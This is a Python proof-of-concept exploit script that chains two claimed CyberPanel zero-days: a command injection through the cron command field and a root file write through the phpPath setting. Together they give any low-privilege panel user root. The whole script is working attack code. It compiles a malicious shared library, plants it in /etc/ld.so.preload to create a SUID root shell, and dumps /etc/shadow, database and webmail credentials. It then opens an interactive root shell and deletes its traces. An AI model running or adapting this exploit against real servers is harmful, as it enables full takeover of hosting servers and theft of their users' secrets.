#!/usr/bin/env python3
"""
CyberPanel Low-Priv → Root RCE

Chains two 0days in CyberPanel (latest, all versions with tuneSettings):

  Bug 1 — cronCommand WAF bypass → command injection as site user
  Bug 2 — phpPath arbitrary file write as root

  Chain: compile .so → write /etc/ld.so.preload → root loads it → SUID shell

Usage:
    python3 poc_cyberpanel_root.py https://TARGET:8090 USERNAME PASSWORD DOMAIN
"""

import argparse
import base64
import json
import os
import sys
import time
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

try:
    import requests
except ImportError:
    print("pip install requests")
    sys.exit(1)

# Minimal .so — must stay compact (lscpd command socket has a length limit)
EVIL_SO_SRC = (
    '#include <stdio.h>\n#include <stdlib.h>\n#include <unistd.h>\n'
    '#include <sys/stat.h>\n'
    '__attribute__((constructor)) void p(void){\n'
    'struct stat s;if(geteuid()!=0||stat("/tmp/.cp_pwned",&s)==0)return;\n'
    'FILE*f=fopen("/tmp/.cp_pwned","w");'
    'if(f){fprintf(f,"uid=%d euid=%d\\n",getuid(),geteuid());fclose(f);}\n'
    'system("cp /bin/bash /tmp/.cp_rootsh;chmod 4755 /tmp/.cp_rootsh");\n'
    'unlink("/etc/ld.so.preload");}'
)


class CyberPanelExploit:
    def __init__(self, base_url, username, password, domain):
        self.base = base_url.rstrip("/")
        self.username = username
        self.password = password
        self.domain = domain
        self.session = requests.Session()
        self.session.verify = False
        self.home = f"/home/{domain}"

    def log(self, tag, msg):
        colors = {"*": "34", "+": "32", "!": "31", ">": "33"}
        c = colors.get(tag, "0")
        print(f"  \033[1;{c}m[{tag}]\033[0m {msg}")

    def login(self):
        self.log("*", f"Logging in as '{self.username}'...")
        self.session.get(f"{self.base}/")
        csrf = self.session.cookies.get("csrftoken", "")
        r = self.session.post(
            f"{self.base}/verifyLogin",
            json={"username": self.username, "password": self.password},
            headers={"X-CSRFToken": csrf, "Referer": f"{self.base}/"},
        )
        d = r.json()
        if d.get("loginStatus") != 1:
            self.log("!", f"Login failed: {d}")
            return False
        self.log("+", f"Logged in (userID={d['userID']})")
        return True

    def _csrf(self):
        return self.session.cookies.get("csrftoken", "")

    def cron_exec(self, cmd):
        """Execute cmd as site user via cronCommand injection."""
        payload = f"x';{cmd};echo '"
        r = self.session.post(
            f"{self.base}/websites/addNewCron",
            json={
                "domain": self.domain,
                "minute": "*", "hour": "*", "monthday": "*",
                "month": "*", "weekday": "*",
                "cronCommand": payload,
            },
            headers={"X-CSRFToken": self._csrf(), "Referer": f"{self.base}/"},
        )
        try:
            return r.json().get("addNewCron") == 1
        except Exception:
            return False

    def cron_exec_output(self, cmd, timeout=5):
        """Execute cmd and read output via the filemanager API."""
        tag = base64.b16encode(os.urandom(4)).decode().lower()
        out = f"{self.home}/.cp_{tag}"
        self.cron_exec(f"{cmd} > {out} 2>&1")
        time.sleep(timeout)
        # Read via filemanager readFileContents
        r = self.session.post(
            f"{self.base}/filemanager/controller",
            json={
                "method": "readFileContents",
                "domainName": self.domain,
                "fileName": out,
            },
            headers={"X-CSRFToken": self._csrf(), "Referer": f"{self.base}/"},
        )
        try:
            d = r.json()
            result = d.get("fileContents", "")
        except Exception:
            result = ""
        self.cron_exec(f"rm -f {out}")
        return result

    def write_preload(self, so_path):
        """Write /etc/ld.so.preload via phpPath traversal."""
        r = self.session.post(
            f"{self.base}/websites/tuneSettings",
            json={
                "domainName": self.domain,
                "pmMaxChildren": so_path,
                "pmStartServers": "2",
                "pmMinSpareServers": "2",
                "pmMaxSpareServers": "4",
                "phpPath": "/etc/ld.so.preload",
            },
            headers={"X-CSRFToken": self._csrf(), "Referer": f"{self.base}/"},
        )
        try:
            return r.json().get("status") == 1
        except Exception:
            return False

    def root_exec(self, cmd):
        """Execute cmd as root via the SUID shell."""
        # Escape single quotes in cmd for the outer shell
        safe = cmd.replace("'", "'\"'\"'")
        return self.cron_exec_output(f"/tmp/.cp_rootsh -p -c '{safe}'")

    def exploit(self):
        print()
        print("  \033[1;31m┌─────────────────────────────────────────────┐\033[0m")
        print("  \033[1;31m│  CyberPanel → Root RCE (tuneSettings chain) │\033[0m")
        print("  \033[1;31m└─────────────────────────────────────────────┘\033[0m")
        print()

        if not self.login():
            return False

        # ── Step 1: Compile evil .so ──
        self.log("*", "Step 1: Compiling malicious .so via cronCommand injection...")
        b64 = base64.b64encode(EVIL_SO_SRC.encode()).decode()
        ok = self.cron_exec(
            f"echo {b64}|base64 -d>/tmp/.cp_evil.c"
            f"&&gcc -shared -fPIC -o /tmp/.cp_evil.so /tmp/.cp_evil.c -nostartfiles"
            f"&&chmod 755 /tmp/.cp_evil.so&&rm /tmp/.cp_evil.c"
        )
        if not ok:
            self.log("!", "cronCommand injection failed")
            return False
        time.sleep(2)
        verify = self.cron_exec_output("ls -la /tmp/.cp_evil.so", timeout=2)
        if ".cp_evil.so" not in verify:
            self.log("!", f"Compilation failed: {verify.strip()}")
            return False
        self.log("+", "Payload compiled")

        # ── Step 2: Write /etc/ld.so.preload ──
        self.log("*", "Step 2: Writing /etc/ld.so.preload via phpPath traversal...")
        ok = self.write_preload("/tmp/.cp_evil.so")
        if not ok:
            self.log("!", "phpPath write failed")
            return False
        self.log("+", "ld.so.preload written — waiting for root process to exec...")

        # ── Step 3: Wait for root trigger ──
        for i in range(24):
            time.sleep(5)
            marker = self.cron_exec_output("cat /tmp/.cp_pwned 2>/dev/null", timeout=2)
            if "uid=0" in marker:
                self.log("+", f"ROOT in {(i+1)*5}s — {marker.strip()}")
                break
            sys.stdout.write(f"\r  [*] Waiting... {(i+1)*5}s")
            sys.stdout.flush()
        else:
            print()
            self.log("!", "Timed out waiting for root trigger (120s)")
            return False

        # Verify SUID shell
        time.sleep(1)
        self.log("*", "Verifying SUID root shell...")
        whoami = self.root_exec("id")
        if "uid=0" in whoami or "euid=0" in whoami:
            self.log("+", f"Root shell works: {whoami.strip()}")
        else:
            self.log("!", f"Shell check: {whoami.strip()}")
        return True

    def dump_secrets(self):
        print()
        self.log(">", "─── Dumping secrets ───")
        print()
        targets = [
            ("Shadow (first 5)",     "head -5 /etc/shadow"),
            ("CyberPanel DB creds",  "cat /usr/local/CyberCP/.env 2>/dev/null | head -15"),
            ("Webmail master creds", "cat /etc/cyberpanel/webmail.conf 2>/dev/null"),
            ("SSH host key hashes",  "md5sum /etc/ssh/ssh_host_*_key 2>/dev/null"),
            ("Listening services",   "ss -tlnp 2>/dev/null | head -15"),
        ]
        for label, cmd in targets:
            output = self.root_exec(cmd)
            print(f"  \033[1;33m[{label}]\033[0m")
            for line in (output or "(empty)").strip().split("\n"):
                print(f"    {line}")
            print()

    def interactive_shell(self):
        print()
        self.log("+", "Interactive root shell (commands via CyberPanel → SUID bash)")
        self.log("*", "Latency ~5s per command. Type 'exit' to quit.")
        print()
        while True:
            try:
                cmd = input("\033[1;31mroot#\033[0m ")
            except (EOFError, KeyboardInterrupt):
                print()
                break
            cmd = cmd.strip()
            if not cmd or cmd in ("exit", "quit"):
                if cmd in ("exit", "quit"):
                    break
                continue
            output = self.root_exec(cmd)
            if output:
                print(output, end="" if output.endswith("\n") else "\n")

    def cleanup(self):
        self.log("*", "Cleaning up...")
        self.cron_exec("rm -f /etc/ld.so.preload /tmp/.cp_evil.* /tmp/.cp_pwned /tmp/.cp_rootsh")
        self.cron_exec(f"rm -f {self.home}/.cp_*")
        self.log("+", "Done")


def main():
    ap = argparse.ArgumentParser(
        description="CyberPanel low-priv → root RCE",
        epilog="Example: python3 %(prog)s https://10.0.0.1:8090 user pass site.com",
    )
    ap.add_argument("url", help="CyberPanel base URL (https://host:8090)")
    ap.add_argument("username", help="CyberPanel username (any privilege level)")
    ap.add_argument("password", help="CyberPanel password")
    ap.add_argument("domain", help="A website the user owns")
    ap.add_argument("--no-shell", action="store_true", help="Skip interactive shell")
    ap.add_argument("--no-cleanup", action="store_true", help="Leave artifacts")
    args = ap.parse_args()

    e = CyberPanelExploit(args.url, args.username, args.password, args.domain)
    if not e.exploit():
        sys.exit(1)
    e.dump_secrets()
    if not args.no_shell:
        e.interactive_shell()
    if not args.no_cleanup:
        e.cleanup()


if __name__ == "__main__":
    main()